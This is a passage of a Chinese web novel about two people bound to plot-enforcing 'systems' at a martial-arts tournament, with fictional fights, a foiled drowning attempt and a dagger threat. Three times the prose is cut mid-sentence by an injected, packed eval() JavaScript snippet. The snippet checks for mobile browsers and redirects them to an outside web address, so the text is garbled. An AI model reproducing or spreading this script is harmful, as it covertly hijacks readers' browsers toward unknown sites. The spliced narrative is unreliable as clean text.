脑中提示音响起,手中被灼伤处仍旧残留着火辣辣的痛楚,谢之栩闭了闭眼,深吸一口气,将心中的愤懑强行压了下来,扯着唇角露出抹满不在乎地笑。 “哎呀!手滑了,让大家看笑话了。” 话落,弯腰去捡地上的竹签,短短几秒钟的距离,谢之栩只觉异常吃力,似乎有股莫名的力量在遏制他拿起那个签。 “宿主!您快住手!您要是真拿起那个签,您可就改变了整本书的剧情走向了!这是严重违规啊!” “您快停下来!您明明有上辈子的记忆,知道自己没有参加英豪大会!现在您何必淌这趟浑水!一旦改变剧情开头,后面的事情就都不可控了啊!” “住手!快住手!!” 脑中系统拼命嘶吼着,谢之栩恍若未闻般强撑着笑意,咬牙靠近地上的竹签,指尖触碰上签身的一秒,烙铁般的灼烧瞬间席卷而来,整个掌心犹如被活生生剥离,一寸寸的浸入岩浆。 谢之栩的脸色瞬间白得吓人,嘴唇被咬出丝丝血迹,额间冷汗如雨落下。 杂乱的声音中,他强撑着笑一步步走下台去,每一步,都伴随着脑海中无限放大的声音。 “警告!警告!系统提示您,故事线已经更改,新剧情即将产生!请您做好面对新剧情的准备!” “系统检测,001号系统宿主谢之栩,擅自更改重要剧情,按照相关条例,会对其进行相关惩处,依据目前剧情,对其惩处方案为——剥夺武力值三日,扣除积分200。” 毫无感情的提示音在几秒后终于结束,谢之栩稍稍松了口气,走向偏僻无人之处,慢慢松开手,看向自己皮肉烂熟的掌心。 “宿主!你疯了吗!你知不知道自己在做什么啊!”系统的声音横冲直撞地出现在脑海中,“那可是200积分,那可是200啊!还有那个剥夺武力值三日!”系统叹了口气道,“那个倒还行,你没了武力值,第一场比试都过不去,也就影响不到后续剧情了。” “是吗?”谢之栩垂眼,伸手轻轻摸了摸自己的掌心,轻声自语道,“要是真如你们所愿,我又何必冒着烧伤的风险去拿这竹签,都等着看好戏吧。” 声落,看着远处匆匆赶来的谢家侍从,谢之栩皮笑肉不笑地扯了扯嘴角,故作恼怒道:“快点的,本公子刚才摔伤了,受伤皮都被蹭掉了,赶紧给我找人包扎!” 奉天台上经过谢之栩这么一闹,余下抽签的人速度更快起来,温衔玉早抽完了签在一侧椅子上倚靠着,见温明远抽完,二楼处的魏敬山便站起了身。 “诸位,眼下我们在场的一百四十四位少年豪杰已经都抽过了签,现在我们将公布比武名单。” 魏敬山说罢,奉天台上负责记录抽签结果的小童站起身来,捧着簿子朗声念道:“依据方才的抽签结果,现公布名单如下。” “甲子组,江南剑道温家-温七,西北十六域-越十三,南境万刀谷-韩壮,江南剑道谢家-谢之栩。” “乙丑组,必州永家-永泉,京都姜氏-姜俊,北境寒霜会-裴衣之,南境毒刃-桑竹。” “丙寅组,……” 小童在台上念着,底下议论纷纷,温衔玉在听清了自己的分组后,便下意识地用目光去寻找对手,细微观察过越十三与韩壮后,微微蹙眉看向谢之栩。 真是冤家路窄,见了鬼了。 “今日抽签者,共一百四十四人,第一轮每四人一组,共分三十六组,为四进二赛制,比武场地为山庄东南西北四方,每日早中晚同时进行一场,为期三日。” “明日辰时,请甲子,乙丑,丙寅,丁卯组的诸位移步比试区域,我们将正式开始第一轮比试。” 小童说完,阁中众人发出热烈的呼声,温衔玉垂首看了看自己手中的签,转身向回走去。 翌日清晨,魏氏山庄的东侧看台上早早聚集了人,温衔玉找了个树荫遮挡处闭目养神,刚静了没多久,就听不远处一阵嘈杂,三声战鼓奏响,有白发老者站上比武台,一侧小童执笔站定。 “第一日,第一场,甲子—青龙,可都准备好了?” “早就准备好了!” 有男子大喊道,温衔玉侧目看去,是同场的越十三,这人一瞧便是个粗犷大汉,没什么心眼,一身蛮力。 “既然准备好了,就都上场吧。” 老者话落,温衔玉同其余三人迈步走上抬去,周围瞬间屏气凝神,只待一声铃响,见几人摆开架势,才传出窃窃私语的评论声。 这四人中,单论背后的势力,西北十六域和南境万刀谷远不及江南剑道的名声,更何况这西北与南境的侠士之前根本没什么名声,想来实力也不怎么样,要说这场的看点,无疑是温谢两家的较量。 “不过我可听说啊,这位谢三郎和温七姑娘的关系可不一般,兴许人家二人联手也不一定呢。” “他们二人联手,你开什么玩笑,谁不知道那位温七姑娘酷爱男子装扮,那位谢三郎据说因为未婚妻爱男装的事,被江南的那群子弟们好一顿嘲笑,我若是他,可是不会与这样奇怪的未婚妻交好。” “你说得可当真?” “那是自然,我们蓝家在江南也不是什么小门小户好吗?不信你一会等着瞧,看我说得对不对!” 蓝家人话落,周围之人的目光皆投到比武场上,只见韩壮与温衔玉纠缠之际,谢之栩忽然慢悠悠地向越十三走去,越十三拿刀的手刚举起来,谢之栩就笑眯眯地摆了摆手。 “兄台不必紧张,我是来和兄台讨论战术的。”谢之栩弯了弯眼,指向温衔玉的方向,“不瞒兄台说,我的武艺其实比不过您,我来参加无非是让我阿爹看看我还算有上进心,不是烂泥一个。但对面的那位可不是,她今日若是进了下一场,日后一对一遇上了,可不好对付,不若趁着今日人多,我们三人先淘汰她,日后对决也算少了个劲敌。” 谢之栩说着,越十三看向温衔玉,想起刚刚自己刚刚与其交手的几下,微微点了点头。 “你说得对,她今日只要进入下一轮,日后再碰上,必然难逃一输,不如联手先淘汰她!” 越十三话音刚落,韩壮也被一脚踹了回来,气喘吁吁地回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322911|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了二人一眼,“你们在说什么?” “我们说要联手淘汰那个温七,你要不要一起?”越十三激昂道,韩壮正处于刚被一觉踹回来的恼火中,想也不想便点头应了下来,“好!带我一个!一起上!” 说完,二人一同飞身跃上。谢之栩站在二人身后幽幽看了一眼,唇角勾起个似有而无的笑,淡淡开口道,“怪不得这么大年纪都没在道上混出些名声。” “原来是一群蠢货。” 谢之栩站在后方远远望着,在周遭一片质疑声中原地坐下,对着退回来的韩壮义正言辞道:“韩兄,我们谢家的招数需得蓄力才行,劳烦兄台帮我顶住,待我一会儿就去相助韩兄。” “放心吧谢兄!” 韩壮话落,又提刀上前。 温家剑法早些年便在江湖闯出过名声,温衔玉更是这一代中所学招数最多之人,纵然是二人合击与她而言也不过是顺手多清理一个罢了,越十三体型笨重,她的轻盈灵动,快如闪电,如秋风扫落叶,远胜过二人招数的变化。 只不过……这二人怎么跟发了疯似的就攻击她一个人?四进二的赛制,不该把那剑都提不起的谢之栩先淘汰了吗? “喂,你们两个,与其在这儿跟我纠缠,怎么不去打那边的哪个?” “哼!你说谢兄?”越十三道,“谢兄说了,我们一起围剿你,日后省着你当我们的路!” 温衔玉好笑地歪歪头:“凭你们仨?” “对!就是我们仨!你可不要小看谢兄!他眼下正在蓄力,等一会儿便是我们三人围攻你!看你还挡不挡得住!” “蓄力?”温衔玉如同看傻子一样地看了二人一眼,又透过缝隙向两人的身后看去,正对上谢之栩微微睁去开看热闹的一只眼,对上温衔玉的视线,谢之栩挑了挑眉,挑衅一笑,又故作认真地继续打坐。 “……”温衔玉难得被气笑了,对上眼前义愤填膺的二人,微微活动了下手腕,“呵,一个王八蛋两个二傻子,还给我演上情深义重了。” “谁,谁是二傻子!”越十三问道,韩壮横了他一眼,“她骂你呢!傻子!” 韩壮话没说完,边见面前突然出现个鞋底,下一秒便不受控地直直飞向台子外,落地出局。 “韩、韩兄!”越十三惊叫一声,抬手就要拿刀,却觉刀刃被死死卡住,一抬头,被温衔玉一脚踹上小腹,足足飞出数米,正落在台子边沿。 不等温衔玉走过去,对面的谢之栩忽然站起身,温衔玉停住脚,好整以暇地看着谢之栩不紧不慢地走到越十三旁边。 “越兄啊。”谢之栩伸出手,越十三感激地扶上,见谢之栩忽而森然一笑,徐徐开口道,“慢走不送。” 声落,抬腿就是一脚,越十三没等反应过来已经脸朝地摔下,激起一片尘灰。 …… 整个场地难得默契地安静了数秒。直到台上老者轻咳一声才发出了第一丝声响。 “甲子第一场,江南剑道,温七,谢之栩胜……” 胜字话音尚未完全落地,众人只见温衔玉用袖口擦了擦剑,抬剑道:“谢三,你是自己退赛,还是被我捅个对穿,你自己选。” 10. 隆重登场 “哎呀,真是难选呢,温衔玉,你还真是会强人所难。”谢之栩轻笑一声,挑眉看去,“不过,我就是哪个都不选,你又奈我何?” 谢之栩话音刚落,众人尚且未来得及反应,就见温衔玉忽而飞身上前,一脚踹向谢之栩心口,活生生将人踹飞出几米远,身子擦过地面,扫起一大片尘灰。 “少爷!少爷!您没事吧!您还好吗!” 台下观望的昆山最先反应过来,眼巴巴地向台上看去,只见空气中弥漫的尘灰渐渐散去,他家主子仰躺在地,咳了好半天才撑着小臂缓缓支起上半身,身子刚一支起,就被一柄剑横在了颈边。 “喂,你这女人做什么啊!” “就是啊,怎么敢这么对我们三少!” “三少!您没事吧!” …… 跟在昆山身后的一群莺莺燕燕惊叫着出声,昆山闻声惊慌地向后看去,没等让她们闭嘴,就察觉到台上有人将目光投来,温衔玉仔细打量过台下一众女子,慢慢扯出一丝冷笑,垂首道:“谢三,你这群好妹妹倒是挺关心你的。” “泱泱,你这话说得跟吃味了似的。”谢之栩笑着抬了抬眉,刚要微微起身,便被温衔玉冷着脸一脚踩上胸口,“你倒真看得起你自己。” “用肮脏的手段取胜,让自己成为笑话,谢三,这就是你参加比试的意义?” “我参加比试的意义与你有关吗?”谢之栩说着,扯了扯嘴角,寻衅般地向温衔玉看去,撑在身侧的手忽而抬起,戏谑地攥住身上那人的脚踝,温衔玉的脸色肉眼可见的僵了一下,蹙眉向下看去,刚要抬脚,脚踝上握着的手便瞬间加了力道。 “怎么,温衔玉,你生这么大的气,是因为不忍心看我成为笑话吗?”谢之栩半支着身子仰面笑着,温衔玉越是想要抬脚,他便握得越紧,眼睁睁地看着她耳根上浮现出羞恼的红,眉眼逐渐生动起来。 “谢三,能说出这种话来,你这不要脸的程度真是与日俱增!”温衔玉气得低骂一句,手中的利刃偏过,擦过谢之栩的脖颈,渗出丝丝缕缕的血。 台下的婢女们与昆山急得不住呼喊,偏偏被踩着的那位不见丝毫畏惧,一双风流的含情眼坦然地盯着身上之人,面不改色地笑着。 “难道不是吗?那你是因为什么生气?” “因为你取胜手段下作!” “呵,下作?”谢之栩讥讽一笑,“除了能用这种讥讽的手段获胜,我还能用什么办法?温衔玉,你不会真觉得我能和你并肩对抗那二人吧,我右手的筋脉断了,根本提不起剑,你忘了?” “你!”温衔玉一怔,谢之栩笑了笑,慢条斯理地轻呵道,“怎么说当初你也在场,我以为那样热闹的场面,你起码会记得久一些,现在看来,你大概是忘记了。” 手中的剑兴许是停在一个地方太久,剑端处已经有些发颤,温衔玉握剑的手微微攥紧,却没有将剑瞬间刺下。 “温七!你住手!比试已经结束了!你快收了剑!” 老者的喊声一遍遍地传来,温衔玉紧咬着唇,许久,才慢慢抬手收回剑。 谢之栩见状笑着松开手,温衔玉垂眸瞥了他一眼,抬起脚便狠狠踹了他心口一下。 看台上的人早被谢之栩的无耻震惊住,就等着有人替天行道,好好收拾这人一番。故而温衔玉一收脚,四周看台上立刻爆发出呼声,越十三与韩壮二人更是一口一个温七爷的叫着,全然忘记了自己方才对战时的嘴脸。 “昆山啊,还不快过来,扶少爷我下去。”剑端彻底移开,谢之栩总算松了口气,弓着腰站起身来,理了理衣物,便卸力一般地倚在了昆山身上。 “少爷,少夫人下手够狠啊。”昆山小声嘀咕了句,谢之栩扯了扯唇,暗道温衔玉还是收力了,否则就他如今被系统惩罚,内力全失的情况,若她真想他重伤,最开始那一脚全力便可,哪还能给他说话的机会。 “少爷,咱们往哪边走?”见谢之栩默不作声,昆山自觉他家少爷可能是被打郁闷了,索性自己找话。 “走东边,那边人少。”谢之栩果真忍着闷痛回了一句,昆山眨眨眼,不解道,“可东边绕远啊。” “那也比被人暗算了强。”谢之栩苦笑一声,“江湖中人最恨行事下作,不择手段者,我今日一遭恐怕是名誉尽毁,定会有人想替天行道教训我,还是躲着人走安全些。” “少爷您也真是的。”昆山小声埋怨了句,谢之栩没有说话,扶着昆山的肩膀刚走了没多远,身后竹林便传来沙沙响声,谢之栩的脚步微微顿了下,搭在昆山肩上的手臂便滑了下来,自己强撑着径直向前走去。 “谢三。”温衔玉的声音在背后响起,昆山愣怔一瞬,立刻挡在谢之栩身前,被谢之栩嫌弃地拨开。 “怎么了,温衔玉,台上没教训够我,台下还追着来揍啊。” “我才懒得跟你这种人动手。”温衔玉蹙了蹙眉,谢之栩嗤笑一声,“那你是来做什么的?难不成是我刚才提及的当年之事刺激到了你?” “谢三,你明明知道,当年姑母断你经脉之时……”温衔玉声音麻木地开口,几乎是开口的一刹,谢之栩也紧接着开口,“温衔玉,你还真是为这事儿来的啊。” “嘶,我是该说你天真呢,还是笨?”谢之栩缓步走到温衔玉面前,“你以为我刚才为什么提?不过是想让你心软,高抬贵手地放我一马罢了。要真说起这事儿,我还得谢谢你姑母呢,没有她断了我右手的经脉,阿爹怎会因愧疚而补偿我,让我这样卑贱的庶子也享受嫡子一般的待遇,游手好闲,吃喝玩乐,好不快活。” “……谢三。”温衔玉攥了攥拳,目光冷冽道,“你真是这样想的?” “不然呢?”谢之栩轻轻吸了口气,漫不经心地笑道,“如今我这逍遥日子可让不少人都羡慕呢,温衔玉,不若你赶快嫁给我,到时候我保证带你一同快活。” 虽然早知道不能对谢之栩这种人抱有任何期待,但当那些话真的从他嘴里说出来,温衔玉还是很难以理解一个人怎么能荒唐到这种程度。 她因为温家毁了谢之栩经脉一事而产生的那点愧疚的情绪,仿佛在有些话出口的一瞬间化作灰烬,成为厌恶滋生的养料。 “谢三。”温衔玉顿了顿,一字一句直视着道,“我真后悔刚才比武时没有一剑刺穿你。” 谢之栩想了想,不知道怎么开口安慰,想了半天也只能故作遗憾地耸耸肩,鼓励道:“那……下次努力?” 话落,再也忍不住地大笑出声,摇着扇子向回走去。 空山新雨,山庄里暖了没几日便又凉了下来,越十三的请柬送到温衔玉手中时,她刚换好衣物,由着红香给她束发。 “主子,这越十三郎都邀请您去了,您就去呗。”一侧的月兰小声道,“正巧您昨日出尽了风头,此刻去那宴会,岂不是能借机结识许多英雄豪杰?” “今日之局既然是西北十六域的人办的,想来江南一代的世家未必会去多少,就算去了,也必然不会是大家族的人,对我们而言,结识那些人并没有什么太大意义,不过是浪费时间。” “可奴婢听说西北十六域虽然不是什么大门派,但常年走南闯北,认识的人很多,兴许也能为主子所用呢?” “认识的人多?”温衔玉垂眼思忖一瞬,西北十六域的人一向是些江湖散客,门派内人心不齐,很难壮大,不过月兰说得一点不错,这些人由于常年四海为家,收集消息的能力可以说是与生俱来。 她如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322912|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有找到那个所谓的女主,如果能借此机会打探到她的消息,倒也不算亏。 “既然如此,那就去吧。”温衔玉点了点头,月兰弯眼一笑。 “温七爷——” 酒过三巡,温衔玉冷着脸坐在位子上,一手举着杯茶水,一手抵着矮桌,半边身子被越十三死死拖住,充斥着浓重烈酒气的嘴在身侧一张一合。 “七爷——小弟崇拜您啊——” “你给我,放——手——” 酒杯被猛地撂到桌上,温衔玉终于忍无可忍地甩开越十三,站起身来,“诸位,温某还有要事在身,先行一步了。” 众人纷纷赔笑点头,越十三见状赶紧抱住温衔玉双腿,活生生将温衔玉绊得踉跄一步,又被其狠狠甩开。 “主子,咱们走得这么急啊。” 月兰小步在后面跟着,走了没多远,见温衔玉铁青着脸转过来:“我就不该来!” “这……这谁能想到那越十三郎居然会耍酒疯嘛。”月兰小声劝道,“主子,消消气。” 温衔玉冷哼一声撇过脸,一侧的红香嗔怪地看了月兰一眼,刚要开口劝,就听不远处传来女子的叫喊声。 “主子?”红香看向温衔玉,见温衔玉不耐地皱了皱眉,“走,去看看。” 发出喊叫的声音离三人不算远,是一处池边,三人刚走过去,便远远地瞧着一群人围着湖边捧腹大笑,为首的男子正蹲身往水边探着,不时传来嘲弄的声音。 “我说,你这死丫头手脚这么不干净,不如把手脚砍下来赔我?” “谭公子,我真的没有偷你的玉佩,那是我在路上捡到的!” 女子的声音传来,红香看了看身前的温衔玉,低声道:“主子,要过去看看吗?” “不去。”温衔玉摇头,平淡道,“东西她既然拿过,又无人证,自然就无法证明究竟是偷的还是捡的,更何况那谭世望也不是什么好东西,我们还是少同他交涉为好。” 红香点点头,同温衔玉一起转身走开,刚走了没几步,又听身后传来二人对话声。 “呵,没偷?我怎么不信?让我瞧瞧你这护得跟命根子似的包袱里还偷了什么宝贝。”谭世望说着,抖落开一侧的破布包,“呦!还装着这么多药材呢!居然还有灵芝,哈哈哈哈,还敢说没偷,就你这穷酸样,能用得起灵芝?” “你们放开我的包!” “快放手!” “那是我给阿娘治病用的!!!” 身后女子声音凄厉,月兰不忍地皱了皱鼻子,刚要埋头继续走,突然见温衔玉猛地脚步,僵了几秒,有些犹豫地回头看去。 “主子?”红香试探道,温衔玉叹了口气,“真是不该出门,净是一些麻烦事。” 说完,快步走了回去,池边的一群人听闻身后的脚步声,回头看去,刚要说话,就见温衔玉无视他们而过,径直走到湖边,垂眼向湖中女子看去,没什么感情地道:“喂,你到底偷没偷?” “温七?”湖边蹲着的谭世望一愣,随即恶狠狠道,“你今日闲得慌?还来管我的闲事?” “对,闲得慌。”温衔玉言简意赅道,目光一动不动地落在湖中女子身上,“这位姑娘,我没什么心情等你,所以你最好快点说。” “我……我没有偷!我真的没有偷!”女子闻言连连摇头,温衔玉神色松动了一瞬,随即见女子颤抖地举起手,对着她恳切道,“我……我虞松雪发誓,绝对没有偷谭公子的玉佩,求您救救我!” 虞松雪?松雪? 温衔玉一愣,目光定定落在湖中女子的脸上,脑海中盘旋着记忆里系统的声音。 “《松雪传》。”系统道,“宿主,这本书的名字叫《松雪传》” 11. 主角光环 这就是系统口中的女主? 只要杀了她,她是不是就能改变那个所谓的悲惨结局? 温衔玉的眸光渐渐暗下来,缓缓蹲身,认真地打量着面前女子的脸,无辜柔弱,满面泪痕,这么羸弱无能的人,居然会让她的死得那么惨。 真可笑。 心里最后的一点同情消失殆尽,温衔玉徐徐抬眼,开口道:“你娘叫什么?” 虞松雪一愣,犹疑道:“虞……虞怜意。” 温衔玉点头,又道,“住在哪里?” “山下,蒙西村。”虞松雪怯生生地开口,“您……您问这些做什么?” “我会派人给她送钱的,你放心。”温衔玉冷冷撇下一句话,伸手便要向虞松雪的头顶摁去,只是手刚探过去,没等到虞松雪头顶,就仿佛被一股强大的力量死死遏制住,任凭她如何用力也挣脱不开,甚至反向推拒着她。 这是怎么回事?! 温衔玉一惊,刚要继续向前伸手,脑海中瞬间炸起一道惊雷。 “我的老天爷啊!您在干什么啊!”系统惊恐道,“任务是让您帮助女主脱离困境,您在干什么!您在谋杀啊!!!” 为什么!为什么她杀不了她!! 温衔玉无瑕顾及系统的尖叫,只盯着面前女子泪迹斑斑的脸,看她小鹿般无辜单纯的眼睛不解地盯着自己悬在半空僵直不动的手。 “系统提示您。”冰冷的提示音倏地响起,“禁止杀害主角,请尊重主角光环!” 尊重个屁!她今日偏不信这个邪! 温衔玉咬了咬牙,拼尽全力地向虞松雪的方向伸手,体内的系统仿佛感知到她的不甘,声音也跟着急促起来。 “系统提示您,禁止杀害主角!请尊重主角光环!” “禁止杀害主角!禁止杀害主角!如宿主再不住手,系统将启动惩罚措施!” “警告!警告!立刻住手!” “嘀——”冰冷的提示音突兀地响起,温衔玉忽觉一阵强劲的力道直击自己命门而来,瞬间将她掀翻在地,与此同时,毫无感情的声音在脑海中响起,“系统检测,002号宿主温七,企图施行谋杀,按照相关条例,即将其进行惩处——” “对其惩处方案为——内伤维持一日,扣除积分200。” “扣除200……”冰冷的提示音结束,熟悉的声音再次回到脑海,开始毫无顾忌地发疯,“200啊!那可是200啊!” “哈哈哈哈哈,现在积分变成负二百五了,老天啊,骂得真难听啊!呜呜呜呜,负二百五,不如让我死了算了。” “那你现在就去。”温衔玉默默腹诽道,系统立刻委委屈屈地把声音憋住,窝囊地滚了回去。 面前的女子毫发无损地站在眼前,温衔玉茫然地垂眼看了看自己的手,思索几秒,重新试探着伸出,只是这次她没打算将她摁在水里淹死,她只是要试一试能不能穿过那道阻碍她的屏障。 指尖慢慢探过,没有阻碍,没有奇怪的声音出现。 温衔玉无言地看着自己微微发颤的掌心,没等反应过来,一只冰冷的手轻轻搭了上来,握住她的掌心,虞松雪胆怯地看向她,小声道:“谢谢。” 她该不会以为她是要拽她出来吧? 温衔玉回过神来,想到刚刚那股莫名的阻力,还是咬了咬牙,用力将虞松雪拽了起来。 鹅黄色衣裙的女子湿淋淋地站在岸边,周遭围着一群上下打量的男子,温衔玉冷冷扫了众人一眼,最后看向红香,对着虞松雪的方向使了个眼色。 红香立刻会意,几步上前,把温衔玉的披风盖在虞松雪的身上,后者愣了两秒,随即略有些吃惊地向温衔玉望去,半晌,低声道:“贵人如何称呼?” “温七。”温衔玉本就心有不甘,自然懒得理会,虞松雪察觉到温衔玉不愿说话,便自觉安静下来,倒是一侧一直被无视的谭世望愤懑地站起身,对着温衔玉怒喝道,“温七,你这是什么意思?到我这儿来行侠仗义来了!” “她都说了她没偷了,你何必断手断脚的恐吓她?” “断手断脚的恐吓她?”谭世望脸上的横肉皱在一起,鄙夷地打量起温衔玉,“你温七什么时候变得这么心善了?断手断脚就算恐吓了?那被你温七拔了舌头的,割了耳朵的算什么?算你善心大发?好歹饶了他们一命?” “嘴巴不干净的,自然该拔掉舌头清理清理,耳朵偷听不能听的,自然也要留下,我公平公正,有什么问题?”温衔玉面不改色地笑笑,尽量维持着体面道,“谭公子既身为男子,还是不要同这小姑娘计较,她造成的损失,我赔给你就是。” 这虞松雪现在杀不了,总能有杀了她的办法,还是先把她留在自己眼皮底下再说。 温衔玉思量着,拽下自己腰上的玉佩,刚要递出去,就见谭世望冷哼一声:“你以为我在乎的是那点损失?你温七还真是有趣。” “温七,你口口声声说让我不与这小女子计较,好,我听你的,不过我有一个要求。”谭世望笑道,“江南早有传闻,温家嫡女金相玉质,有瑰姿艳逸之姿,只可惜平日里爱扮男装,得见其女子妆容者不过寥寥数人,温大小姐,若你能为我身着一次女装,别说是放过这小姑娘,就是你让我给她赔不是,我都答应你,如何?” 谭世望此话一出,周围人顿时哄笑起来。 温衔玉习以为常地抬了抬眼,在谭世望大笑之际,猛地一脚向他的腹部踹去,谭世望尚未反应过来,整个人便如狗熊般向后摔去,扑通一声巨响,河边瞬间炸起巨大的水花。 “温七!你、你这是什么意思!你她娘的居然敢踹我下水!老子告诉你,别以为你温家厉害,你就能欺负到老子头上!说到底,温家需要的是一个男孩,你早晚是要被嫁出去的货色!那谢家三郎风流成性,保不准你到时候独守空闺,还要求到老子头上为你纾解寂寞呢!” 谭世望双手扣着岸边的泥,脸红脖子粗地大叫起来,温衔玉面无表情地听着,等他骂完,才慢条斯理地走到岸边,蹲下身,伸手掐着谭世望的下巴,仔细看了起来。 “好脏的嘴啊。”温衔玉轻飘飘地蹙了蹙眉,向一侧摊手,“把东西拿来,我帮谭公子清理一下。” 众人尚且没明白什么意思,却见红香麻利地拔出袖中的匕首,恭敬地递到温衔玉手里。 冰冷的刀尖探进柔软的舌头上,寒凉的触刺激着舌身一阵阵战栗,谭世望被刀身入嘴的恐惧感惊住一刹,扣在地上的手刚要抬起,又被温衔玉一脚踩住。 口中冰凉的匕首似有而无地敲了敲他最靠近喉咙处的牙,发出叮叮当当的声响,伴随着温衔玉淡淡的声音,“别乱动,我要是不小心把你的牙挖出来,那该多疼啊。” 谭世望的头发瞬间一麻,压着想要干呕的冲动发出哀嚎,只可惜身体稍微一动,温衔玉的匕首便立刻在舌上划上一道,血腥味瞬间弥漫开来,谭世望身子一僵,瞬间老实下来。 周围的人早就不敢笑了,他们仗着谭世望是谭家人才敢借机笑几声,如今谭世望都被挟持住了,可见温七这人果真如传闻中一样是个疯子,他们又何必去招惹。 眼见着没人替他说话,他自己又说不出话,谭世望急得双眼通红,几乎要哭来,情急之下视线环顾,竟发现刚才被自己欺负的小姑娘似乎有欲言又止的意思。 谭世望立刻求救般地看向虞松雪,虞松雪咬了咬唇,还是向前一步,轻轻握住温衔玉的手腕,轻声道:“温……温七姑娘,要不我们……还是算了吧。” “他不光欺负了你,还侮辱了我,你凭什么替我算了?” 温衔玉嗤笑一声反问道,虞松雪一愣,又露出一瞬的单纯与无助。温衔玉向来最讨厌示弱者,但联想到自己刚才对这种弱者的无能为力,顿时生出了一种恶趣味,她厌恶地一松手,玩味地向虞松雪看过去。 “你这么热心,你替我教训他好了。” “我?”虞松雪不可思议道,谭世望闻言连连点头。温衔玉反擒住虞松雪的手腕,把她的手贴在谭世望的脸上,慢慢道:“打——打到出血为止,否则我一定会割了他的舌头。” “我……”虞松雪欲言又止,温衔玉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322913|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解道,“用我教你?” “不用!不用!不用您教!”谭世望连忙开口,恳求地看向虞松雪,虞松雪咬了咬牙,轻轻挥出去一掌。 废物。 懦弱的废物。 温衔玉烦躁地皱了皱眉,只觉无趣至极,等着看小白兔怒扇野猪的戏码是不可能的了,她索性站起身,居高临下道:“谭世望,你爹在我面前尚且要装一装样子,可惜你这个儿子却不明白,我不喜欢与蠢人纠缠,却不代表蠢人就可以在我面前肆无忌惮。” “谭世望。”温衔玉垂眼道,“狗打一棒尚且会长些记性,你会比狗强吗?” “会,会的,七爷。”谭世望连忙回话,温衔玉点了点头,看向虞松雪,“走吧。” 虞松雪无措的松开手,眨眨眼,手忙脚乱地拿起自己的包袱,犹豫地跟上温衔玉的步伐。只是刚走几步,温衔玉忽而脚步放慢,似乎极为难受得捂住胸口,脸色瞬间白了下来。 是系统口中的惩罚,这就开始了?! 温衔玉下意识地扶住红香的手,身子还没来得及站稳,一道男子的声音就在一侧慢悠悠地响起。 “真热闹啊!我刚才都错过了什么?” 谢之栩!? 温衔玉愣了一下,扶着红香的手慢慢握紧,强撑着直起身,回首冰冷道,“你还敢出现在我面前?” “为什么不敢,我巴不得咱们早日成亲,往后日日出现在你面前呢。”谢之栩一笑,目光落在温衔玉煞白的脸上,微微一顿,却见温衔玉狠狠地啐了一口,目光扫过他与身后的谭世望等人,冷声道,“一丘之貉的混蛋!少碍我的眼。” “我们?一丘之貉?”谢之栩不解地指了指自己,又回首瞥了眼满脸惊恐的谭世望,片刻,像是明白了什么一样,对着谭世望徐徐扬起了唇,眯起的狭长双眼中满是渗人的寒意。 “啊——我说怎么这么大火气呢,这又是谁惹你不快了。”谢之栩明知故问道,“不如你跟我说说?我帮你出气,也省着你迁怒于我这样无辜的好人。” “呸!我用得着你!” 温衔玉强撑着回了一嘴,只觉胸口剧痛,嗓中充斥着一股血腥味,自然也懒得同谢之栩纠缠,几乎是逃也是似的向前走了几步,却听身后响起谢之栩的声音。 “泱泱啊。”谢之栩抬眉道,“咱们商量商量,你可以走,但你身边的那姑娘,给我留下可好?” 温衔玉和虞松雪皆是一愣。 “谢三。”温衔玉强忍着口中的腥甜,讽刺道,“你这是打算跟我抢人?” “你想帮这姑娘,巧了,我也想帮,而且你那破脾气我又不是不知道,保不准哪天就嫌人家姑娘麻烦了,一脚踹出去了,但我不会,我这人,最是怜香惜玉。”谢之栩笑了笑,看向虞松雪,“这位姑娘,我谢之栩说到做到,今日承诺帮你,就一定会一帮到底。” “谢三,你用这一番说辞骗过多少姑娘啊?”温衔玉冷笑了一声,几乎要压不住口中的腥甜,唇色白得吓人。谢之栩似有所感地眯了眯眼,难得没有立刻回嘴,半晌,似是玩笑似是认真地道,“泱泱,我必须要留下她。” “谢……” 话刚出口,脑中冰冷的提示音倏然响起:“惩罚提示结束,惩罚正式开始——” 心口的疼痛瞬间加剧,四肢百骸猛然席卷上被蚕食的痛楚,一寸一寸,在每一处骨缝蔓延,温衔玉再也忍不住地抬手死死攥住心口的衣领,血迹顺着唇缝溢出。 一时间,所有人面面相觑。 谢之栩脸上的笑意迅速褪下,迈步就要向前走去,却见虞松雪更快自己一步地扶住温衔玉,抬头对他郑重道,“这位公子,虽然我不知道你是谁,但我是不会跟你走的。” 真是碍事。 